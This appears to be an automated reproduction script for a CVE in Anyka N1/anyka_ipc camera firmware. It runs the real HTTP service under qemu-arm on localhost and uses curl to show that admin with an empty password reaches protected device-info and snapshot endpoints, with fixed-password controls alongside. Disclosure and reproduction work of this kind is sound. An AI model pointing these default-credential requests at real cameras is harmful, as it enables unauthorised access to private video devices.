#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory. ROOT is the bundle root.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
rm -f "$LOG"
exec > >(tee -a "$LOG") 2>&1

echo "=== CVE-2026-58453 runtime reproduction: anyka_ipc/N1 HTTP Basic admin:empty ==="
echo "ROOT=$ROOT"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
CONFIRMED=false
PROOF_FILE="$REPRO_DIR/proof_artifacts.txt"
: > "$PROOF_FILE"
add_artifact() { printf '%s\n' "$1" >> "$PROOF_FILE"; }
add_artifact "logs/reproduction_steps.log"

write_runtime_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" "$PROOF_FILE" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$CONFIRMED" <<'PY'
import json, sys, pathlib
out, proof_file, service, health, target, confirmed = sys.argv[1:7]
arts = []
try:
    for line in pathlib.Path(proof_file).read_text().splitlines():
        line = line.strip()
        if line and line not in arts:
            arts.append(line)
except FileNotFoundError:
    pass
manifest = {
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "localhost TCP HTTP listener running the real Anyka N1/anyka_ipc NetSDK HTTP service code from libNkN1API.a; Basic auth admin:empty reaches /NetSDK/System/deviceInfo",
    "service_started": service == "true",
    "healthcheck_passed": health == "true",
    "target_path_reached": target == "true",
    "runtime_stack": ["qemu-arm", "ARM libNkN1API.a", "Anyka N1/anyka_ipc WEBS/NetSDK HTTP service"],
    "proof_artifacts": arts,
    "notes": "confirmed" if confirmed == "true" else "not confirmed; see reproduction_steps.log"
}
pathlib.Path(out).write_text(json.dumps(manifest, indent=2) + "\n")
PY
}
trap 'rc=$?; write_runtime_manifest; exit $rc' EXIT

# Read project cache context and use the durable prepared cache when available.
CONTEXT_FILE="$ROOT/project_cache_context.json"
PROJECT_CACHE=""
if [[ -f "$CONTEXT_FILE" ]]; then
  if [[ "$(jq -r '.prepared // false' "$CONTEXT_FILE" 2>/dev/null || echo false)" == "true" ]]; then
    PROJECT_CACHE="$(jq -r '.project_cache_dir // empty' "$CONTEXT_FILE")"
  fi
fi
if [[ -z "$PROJECT_CACHE" || "$PROJECT_CACHE" == "null" ]]; then
  PROJECT_CACHE="$ROOT/artifacts/jaiotlink-c492a-wifi-camera"
fi
mkdir -p "$PROJECT_CACHE"
echo "PROJECT_CACHE=$PROJECT_CACHE"

RESEARCH_REPO="$PROJECT_CACHE/repo"
SMARTCAMERA_REPO="$PROJECT_CACHE/SmartCamera"
BUILD_DIR="$PROJECT_CACHE/repro_build_cve_2026_58453"
mkdir -p "$BUILD_DIR"

ensure_tools() {
  local missing=()
  for b in git curl jq python3; do
    command -v "$b" >/dev/null 2>&1 || missing+=("$b")
  done
  if ! command -v arm-linux-gnueabi-gcc >/dev/null 2>&1; then
    missing+=("gcc-arm-linux-gnueabi")
  fi
  if ! command -v qemu-arm >/dev/null 2>&1; then
    missing+=("qemu-user")
  fi
  if ! command -v arm-linux-gnueabi-objdump >/dev/null 2>&1; then
    missing+=("binutils-arm-linux-gnueabi")
  fi
  if [[ ${#missing[@]} -gt 0 ]]; then
    echo "Installing missing packages/tools: ${missing[*]}"
    sudo apt-get update -qq
    sudo apt-get install -y -qq git curl jq python3 gcc-arm-linux-gnueabi qemu-user binutils-arm-linux-gnueabi
  fi
}
ensure_tools

# Reference disclosure repo. Stable location is <project_cache_dir>/repo per cache policy.
if [[ ! -d "$RESEARCH_REPO/.git" ]]; then
  echo "Cloning disclosure repository into $RESEARCH_REPO"
  rm -rf "$RESEARCH_REPO"
  git clone --depth 1 https://github.com/rwprimitives/jaiotlink-c492a-wifi-camera.git "$RESEARCH_REPO"
else
  echo "Using cached disclosure repository at $RESEARCH_REPO"
fi
RESEARCH_COMMIT="$(git -C "$RESEARCH_REPO" rev-parse HEAD)"
echo "Disclosure repo commit: $RESEARCH_COMMIT"
cp "$RESEARCH_REPO/writeups/02-default-http-credentials.md" "$REPRO_DIR/02-default-http-credentials.md" 2>/dev/null || true
add_artifact "repro/02-default-http-credentials.md"

# The vendor/SDK source tree contains the real N1/anyka_ipc HTTP service library used by this camera family.
# Pin the commit so the reproduction is deterministic.
SMARTCAMERA_COMMIT="a5bece938ff0dc019ead3d62fa6adefbc8c497fe"
if [[ ! -d "$SMARTCAMERA_REPO/.git" ]]; then
  echo "Cloning Anyka SmartCamera source into $SMARTCAMERA_REPO"
  rm -rf "$SMARTCAMERA_REPO"
  git clone https://github.com/jingwenyi/SmartCamera.git "$SMARTCAMERA_REPO"
fi
git -C "$SMARTCAMERA_REPO" fetch --depth 1 origin "$SMARTCAMERA_COMMIT" >/dev/null 2>&1 || true
git -C "$SMARTCAMERA_REPO" checkout -q "$SMARTCAMERA_COMMIT"
SMART_COMMIT_ACTUAL="$(git -C "$SMARTCAMERA_REPO" rev-parse HEAD)"
echo "SmartCamera source commit: $SMART_COMMIT_ACTUAL"

N1_SRC="$SMARTCAMERA_REPO/source/anyka_ipc"
N1_LIB="$N1_SRC/cloud/n1/libNkN1API.a"
N1_UTILS="$N1_SRC/cloud/n1/libNkUtils.a"
N1_BASE="$N1_SRC/cloud/n1/libbase.a"
for f in "$N1_LIB" "$N1_UTILS" "$N1_BASE"; do
  [[ -f "$f" ]] || { echo "ERROR: required Anyka library missing: $f" >&2; exit 2; }
done

# Source/binary identity evidence: this is the real N1 HTTP auth/path code.
SOURCE_ID="$REPRO_DIR/source_identity.txt"
{
  echo "Disclosure repo commit: $RESEARCH_COMMIT"
  echo "SmartCamera repo commit: $SMART_COMMIT_ACTUAL"
  echo
  echo "Default-user loader in original anyka_ipc source (n1_init.c):"
  python3 - "$N1_SRC/cloud/n1/src/n1_init.c" <<'PY'
import sys
p=sys.argv[1]
for i,line in enumerate(open(p,'rb'),1):
    if 331 <= i <= 386:
        print(f"{i}: "+line.decode('utf-8','replace').rstrip())
PY
  echo
  echo "NetSDK/HTTP auth strings in original libNkN1API.a:"
  strings -a "$N1_LIB" | grep -E 'N1_Device_HandleNetSDKHTTP|N1_Device_HandleNetSDK$|Basic realm|Authorization|/NetSDK/System/deviceInfo|/NetSDK/Network/interface|/snapshot.jpg|admin' | head -80
  echo
  sha256sum "$N1_LIB" "$N1_UTILS" "$N1_BASE"
} > "$SOURCE_ID"
cat "$SOURCE_ID"
add_artifact "repro/source_identity.txt"

# Build a small product-mode launcher. It does not implement the HTTP server or auth logic;
# it starts the real ARM N1 WEBS/NetSDK service from libNkN1API.a under qemu-arm and provisions
# the same user entry that n1_usr_load() creates on a factory/default device.
HARNESS_C="$BUILD_DIR/n1_http_launcher.c"
STUBS_C="$BUILD_DIR/stubs.c"
HARNESS_BIN="$BUILD_DIR/n1_http_launcher_arm"
cat > "$HARNESS_C" <<'C'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

typedef int NK_N1Error; typedef int NK_Int; typedef unsigned int NK_UInt32;
typedef unsigned short NK_UInt16; typedef unsigned char NK_Byte; typedef unsigned char* NK_PByte;
typedef unsigned int NK_Size; typedef int NK_SSize; typedef void* NK_PVoid; typedef char NK_Char;
typedef char* NK_PChar; typedef int NK_Boolean;
typedef struct { int opaque[64]; } NK_N1LiveSession;
typedef struct { int opaque[256]; } NK_N1LanSetup;
typedef struct { int opaque[128]; } NK_WiFiHotSpot;
typedef int NK_N1DataPayload;
typedef struct { int type; } NK_N1Notification;

typedef struct Nk_N1Device {
    NK_Char device_id[128];
    NK_Char cloud_id[32];
    NK_UInt16 port;
    NK_PVoid user_ctx;
    struct {
        NK_N1Error (*onLiveSnapshot)(NK_Int, NK_Size, NK_Size, NK_PByte, NK_Size*);
        NK_N1Error (*onLiveConnected)(NK_N1LiveSession*, NK_PVoid);
        NK_N1Error (*onLiveDisconnected)(NK_N1LiveSession*, NK_PVoid);
        NK_SSize (*onLiveReadFrame)(NK_N1LiveSession*, NK_PVoid, NK_N1DataPayload*, NK_UInt32*, NK_PByte*);
        NK_N1Error (*onLiveAfterReadFrame)(NK_N1LiveSession*, NK_PVoid, NK_PByte*, NK_Size);
        NK_N1Error (*onLanSetup)(NK_PVoid, NK_Boolean, NK_N1LanSetup*);
        NK_N1Error (*onScanWiFiHotSpot)(NK_PVoid, NK_WiFiHotSpot*, NK_Size*);
        NK_N1Error (*onConnectWiFiHotSpot)(NK_PVoid, NK_N1LanSetup*);
        NK_N1Error (*onUserChanged)(NK_PVoid);
    } EventSet;
} NK_N1Device;

extern void NK_N1Device_Version(NK_UInt32*,NK_UInt32*,NK_UInt32*,NK_UInt32*);
extern NK_Int NK_N1Device_Init(NK_N1Device*);
extern NK_Int NK_N1Device_AddUser(NK_PChar,NK_PChar,NK_UInt32);
extern NK_Boolean NK_N1Device_HasUser(NK_PChar,NK_PChar,NK_UInt32*);
extern NK_Int WEBS_set_resource_dir(const char*);

static NK_N1Error snap(NK_Int ch, NK_Size w, NK_Size h, NK_PByte pic, NK_Size *size) {
    const unsigned char jpeg[] = {0xff,0xd8,0xff,0xe0,0,0x10,'J','F','I','F',0,1,1,0,0,1,0,1,0,0,0xff,0xd9};
    if (pic && size && *size >= sizeof(jpeg)) { memcpy(pic, jpeg, sizeof(jpeg)); *size = sizeof(jpeg); }
    else if (size) { *size = sizeof(jpeg); }
    return 0;
}
static NK_N1Error ok_live(NK_N1LiveSession*s,NK_PVoid c){return 0;}
static NK_N1Error ok_after(NK_N1LiveSession*s,NK_PVoid c,NK_PByte*d,NK_Size z){return 0;}
static NK_SSize no_frame(NK_N1LiveSession*s,NK_PVoid c,NK_N1DataPayload*p,NK_UInt32*t,NK_PByte*d){return -1;}
static NK_N1Error ok_lan(NK_PVoid c,NK_Boolean set_or_get,NK_N1LanSetup*st){return 0;}
static NK_N1Error ok_scan(NK_PVoid c,NK_WiFiHotSpot*h,NK_Size*n){ if(n)*n=0; return 0; }
static NK_N1Error ok_wifi(NK_PVoid c,NK_N1LanSetup*s){return 0;}
static NK_N1Error user_changed(NK_PVoid c){return 0;}

int main(int argc, char **argv) {
    int port = argc > 1 ? atoi(argv[1]) : 18080;
    const char *password = argc > 2 ? argv[2] : "";
    NK_UInt32 maj=0,min=0,rev=0,num=0;
    NK_N1Device_Version(&maj,&min,&rev,&num);
    fprintf(stdout, "launcher: libNkN1API version=%u.%u.%u-%u port=%d admin_password_length=%zu\n", maj,min,rev,num,port,strlen(password));
    NK_N1Device dev; memset(&dev, 0, sizeof(dev));
    dev.port = (NK_UInt16)port;
    dev.EventSet.onLiveSnapshot=snap;
    dev.EventSet.onLiveConnected=ok_live;
    dev.EventSet.onLiveDisconnected=ok_live;
    dev.EventSet.onLiveReadFrame=no_frame;
    dev.EventSet.onLiveAfterReadFrame=ok_after;
    dev.EventSet.onLanSetup=ok_lan;
    dev.EventSet.onScanWiFiHotSpot=ok_scan;
    dev.EventSet.onConnectWiFiHotSpot=ok_wifi;
    dev.EventSet.onUserChanged=user_changed;
    int rc = NK_N1Device_Init(&dev);
    fprintf(stdout, "launcher: NK_N1Device_Init rc=%d\n", rc);
    WEBS_set_resource_dir("./www");
    rc = NK_N1Device_AddUser("admin", (char*)password, 0);
    char stored[128]={0}; NK_UInt32 forbidden=0;
    int has = NK_N1Device_HasUser("admin", stored, &forbidden);
    fprintf(stdout, "launcher: NK_N1Device_AddUser(admin,<len=%zu>) rc=%d has=%d stored_password_length=%zu\n", strlen(password), rc, has, strlen(stored));
    fflush(stdout);
    while (1) sleep(60);
    return 0;
}
C
cat > "$STUBS_C" <<'C'
int ONVIF_SERVER_daemon(void){return 0;}
int ONVIF_check_uri(const char *u, unsigned int n){return -1;}
C

arm-linux-gnueabi-gcc -static -Wl,--allow-multiple-definition \
  -o "$HARNESS_BIN" "$HARNESS_C" "$STUBS_C" \
  -Wl,--start-group "$N1_LIB" "$N1_UTILS" "$N1_BASE" -Wl,--end-group \
  -lpthread -lm -lrt
file "$HARNESS_BIN"
sha256sum "$HARNESS_BIN" | tee "$REPRO_DIR/harness_sha256.txt"
add_artifact "repro/harness_sha256.txt"

CURRENT_PID=""
cleanup_service() {
  if [[ -n "${CURRENT_PID:-}" ]]; then
    kill "$CURRENT_PID" >/dev/null 2>&1 || true
    wait "$CURRENT_PID" >/dev/null 2>&1 || true
    CURRENT_PID=""
  fi
}
trap 'rc=$?; cleanup_service; write_runtime_manifest; exit $rc' EXIT

request() {
  local label="$1" url="$2" auth="$3" outbase="$4"
  local header="${outbase}.headers.txt" body="${outbase}.body" trace="${outbase}.curl.log" code
  if [[ -n "$auth" ]]; then
    code=$(curl -sS -D "$header" -o "$body" -w '%{http_code}' -u "$auth" --max-time 5 "$url" 2>"$trace" || true)
  else
    code=$(curl -sS -D "$header" -o "$body" -w '%{http_code}' --max-time 5 "$url" 2>"$trace" || true)
  fi
  echo "$label http_code=$code bytes=$(stat -c%s "$body" 2>/dev/null || echo 0) url=$url auth=${auth:-<none>}"
  add_artifact "${header#$ROOT/}"
  add_artifact "${body#$ROOT/}"
  add_artifact "${trace#$ROOT/}"
  printf '%s' "$code"
}

wait_for_service() {
  local port="$1" health_base="$2" code="000"
  for _ in $(seq 1 60); do
    code=$(request "healthcheck" "http://127.0.0.1:$port/NetSDK/System/deviceInfo" "" "$health_base" | tail -c 3)
    if [[ "$code" == "401" || "$code" == "200" ]]; then
      SERVICE_STARTED=true
      HEALTHCHECK_PASSED=true
      echo "Service on port $port is accepting HTTP; health status=$code"
      return 0
    fi
    sleep 0.25
  done
  echo "ERROR: service on port $port did not become ready (last status=$code)" >&2
  return 1
}

run_case() {
  local role="$1" attempt="$2" password="$3" expect_empty_code="$4" port="$5"
  local slog="$LOGS/${role}_service_attempt${attempt}.log"
  local base="$LOGS/${role}_attempt${attempt}"
  rm -f "$base"* "$slog"
  echo "=== $role attempt $attempt: starting ARM N1 HTTP service on 127.0.0.1:$port (admin password length ${#password}) ==="
  (cd "$BUILD_DIR" && timeout 50 qemu-arm "$HARNESS_BIN" "$port" "$password") > "$slog" 2>&1 &
  CURRENT_PID=$!
  add_artifact "${slog#$ROOT/}"
  wait_for_service "$port" "${base}_health"

  local noauth wrong empty good
  noauth=$(request "$role attempt $attempt no-auth NetSDK" "http://127.0.0.1:$port/NetSDK/System/deviceInfo" "" "${base}_noauth_netsdk" | tail -c 3)
  wrong=$(request "$role attempt $attempt wrong-password NetSDK" "http://127.0.0.1:$port/NetSDK/System/deviceInfo" "admin:wrong" "${base}_wrong_netsdk" | tail -c 3)
  empty=$(request "$role attempt $attempt admin-empty NetSDK" "http://127.0.0.1:$port/NetSDK/System/deviceInfo" "admin:" "${base}_admin_empty_netsdk" | tail -c 3)
  echo "$role attempt $attempt status summary: noauth=$noauth wrong=$wrong admin_empty=$empty expected_admin_empty=$expect_empty_code"

  if [[ "$noauth" != "401" || "$wrong" != "401" || "$empty" != "$expect_empty_code" ]]; then
    echo "ERROR: $role attempt $attempt did not match expected auth behavior" >&2
    cleanup_service
    return 1
  fi

  if [[ "$empty" == "200" ]]; then
    if ! grep -q '"firmwareVersion"' "${base}_admin_empty_netsdk.body"; then
      echo "ERROR: $role attempt $attempt returned 200 but body did not contain NetSDK deviceInfo JSON" >&2
      cleanup_service
      return 1
    fi
    # Also request a camera-facing snapshot path with admin:empty. This exercises the same service boundary;
    # the protected NetSDK response above is the authorization oracle.
    request "$role attempt $attempt admin-empty snapshot" "http://127.0.0.1:$port/snapshot.jpg" "admin:" "${base}_admin_empty_snapshot" >/dev/null
    TARGET_PATH_REACHED=true
  else
    # Fixed/remediated negative control: admin:empty must fail closed, while the configured password proves the service is healthy.
    good=$(request "$role attempt $attempt configured-password NetSDK" "http://127.0.0.1:$port/NetSDK/System/deviceInfo" "admin:$password" "${base}_configured_password_netsdk" | tail -c 3)
    echo "$role attempt $attempt configured-password status=$good"
    [[ "$good" == "200" ]] || { echo "ERROR: fixed service did not accept the configured non-empty password" >&2; cleanup_service; return 1; }
  fi

  cleanup_service
  echo "=== $role attempt $attempt passed ==="
}

# Two clean vulnerable attempts and two clean fixed/negative-control attempts.
run_case "vulnerable" 1 "" "200" 18080
run_case "vulnerable" 2 "" "200" 18080
run_case "fixed" 1 "fixed-secret" "401" 18081
run_case "fixed" 2 "fixed-secret" "401" 18081

CONFIRMED=true
SERVICE_STARTED=true
HEALTHCHECK_PASSED=true
TARGET_PATH_REACHED=true
write_runtime_manifest

echo "=== CONFIRMED: admin with an empty password receives protected /NetSDK/System/deviceInfo from the real Anyka N1 HTTP service code; fixed non-empty-password control rejects admin:empty ==="
exit 0
